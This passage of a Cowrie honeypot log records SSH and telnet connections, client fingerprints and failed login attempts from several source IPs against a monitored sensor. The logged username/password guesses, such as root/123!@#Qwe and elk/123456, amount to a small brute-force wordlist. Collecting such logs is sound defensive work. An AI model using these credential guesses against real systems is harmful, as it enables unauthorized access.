ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:17.898568Z","src_ip":"45.153.34.112","session":"fb573de1c306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:18.144562Z","src_ip":"45.153.34.112","session":"fb573de1c306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:19.229599Z","src_ip":"45.153.34.112","session":"fb573de1c306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42548,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb8a0db8d111","protocol":"telnet","message":"New connection: 192.119.13.58:42548 (10.17.0.5:23) [session: eb8a0db8d111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:20.133063Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38568,"dst_ip":"10.17.0.5","dst_port":23,"session":"213b1483fede","protocol":"telnet","message":"New connection: 192.119.13.58:38568 (10.17.0.5:23) [session: 213b1483fede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:20.243999Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46938,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d8ae96ed5dd","protocol":"ssh","message":"New connection: 45.153.34.112:46938 (10.17.0.5:22) [session: 5d8ae96ed5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:21.176503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:21.180616Z","src_ip":"45.153.34.112","session":"5d8ae96ed5dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:21.262190Z","src_ip":"45.153.34.112","session":"5d8ae96ed5dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.94481015205383,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:21.351933Z","src_ip":"192.119.13.58","session":"69554ddbfdad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:21.508413Z","src_ip":"45.153.34.112","session":"5d8ae96ed5dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.256112575531006,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:21.975078Z","src_ip":"192.119.13.58","session":"1720bdcb36dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50786,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a6c7bbc67c2","protocol":"telnet","message":"New connection: 192.119.13.58:50786 (10.17.0.5:23) [session: 4a6c7bbc67c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:22.102984Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:22.597961Z","src_ip":"45.153.34.112","session":"5d8ae96ed5dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57198,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c280a5e7a0","protocol":"telnet","message":"New connection: 192.119.13.58:57198 (10.17.0.5:23) [session: 30c280a5e7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:23.666386Z"}
{"eventid":"cowrie.session.closed","duration":40.66353225708008,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:24.729384Z","src_ip":"192.119.13.58","session":"cd663d738524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46944,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9787d719750","protocol":"ssh","message":"New connection: 45.153.34.112:46944 (10.17.0.5:22) [session: a9787d719750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:24.785740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:24.791153Z","src_ip":"45.153.34.112","session":"a9787d719750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:24.874055Z","src_ip":"45.153.34.112","session":"a9787d719750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47054,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ea12ca2814b","protocol":"ssh","message":"New connection: 194.59.206.2:47054 (10.17.0.5:22) [session: 5ea12ca2814b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:24.902014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:24.913649Z","src_ip":"194.59.206.2","session":"5ea12ca2814b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:25.001135Z","src_ip":"194.59.206.2","session":"5ea12ca2814b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:25.099149Z","src_ip":"194.59.206.2","session":"5ea12ca2814b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:25.122414Z","src_ip":"45.153.34.112","session":"a9787d719750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:26.209734Z","src_ip":"45.153.34.112","session":"a9787d719750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":56922,"dst_ip":"10.17.0.5","dst_port":22,"session":"652e8ca429e5","protocol":"ssh","message":"New connection: 106.251.244.178:56922 (10.17.0.5:22) [session: 652e8ca429e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:27.136528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:27.141651Z","src_ip":"106.251.244.178","session":"652e8ca429e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:27.341849Z","src_ip":"106.251.244.178","session":"652e8ca429e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#Qwe","message":"login attempt [root/123!@#Qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:28.182909Z","src_ip":"106.251.244.178","session":"652e8ca429e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46952,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3aad350e24a","protocol":"ssh","message":"New connection: 45.153.34.112:46952 (10.17.0.5:22) [session: c3aad350e24a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:28.228379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:28.233411Z","src_ip":"45.153.34.112","session":"c3aad350e24a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:28.319855Z","src_ip":"45.153.34.112","session":"c3aad350e24a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.49046778678894,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:28.523206Z","src_ip":"192.119.13.58","session":"fa2224ae7538","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:28.566272Z","src_ip":"45.153.34.112","session":"c3aad350e24a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50782,"dst_ip":"10.17.0.5","dst_port":23,"session":"3da8b511f3ae","protocol":"telnet","message":"New connection: 192.119.13.58:50782 (10.17.0.5:23) [session: 3da8b511f3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:28.922337Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:29.384746Z","src_ip":"106.251.244.178","session":"652e8ca429e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:29.716365Z","src_ip":"45.153.34.112","session":"c3aad350e24a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56706,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cbe5e7f71a6","protocol":"telnet","message":"New connection: 192.119.13.58:56706 (10.17.0.5:23) [session: 7cbe5e7f71a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:30.347064Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33594,"dst_ip":"10.17.0.5","dst_port":23,"session":"87af25974068","protocol":"telnet","message":"New connection: 192.119.13.58:33594 (10.17.0.5:23) [session: 87af25974068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:31.545463Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33736,"dst_ip":"10.17.0.5","dst_port":22,"session":"d96cd744c365","protocol":"ssh","message":"New connection: 45.153.34.112:33736 (10.17.0.5:22) [session: d96cd744c365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:31.630584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:31.639205Z","src_ip":"45.153.34.112","session":"d96cd744c365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:31.721418Z","src_ip":"45.153.34.112","session":"d96cd744c365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:32.143572Z","src_ip":"45.153.34.112","session":"d96cd744c365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:33.229095Z","src_ip":"45.153.34.112","session":"d96cd744c365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48662877082825,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:33.978414Z","src_ip":"192.119.13.58","session":"6a8391549565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33744,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d7b754da6c","protocol":"ssh","message":"New connection: 45.153.34.112:33744 (10.17.0.5:22) [session: 53d7b754da6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:35.280855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:35.285694Z","src_ip":"45.153.34.112","session":"53d7b754da6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:35.368538Z","src_ip":"45.153.34.112","session":"53d7b754da6c","protocol":"ssh"}
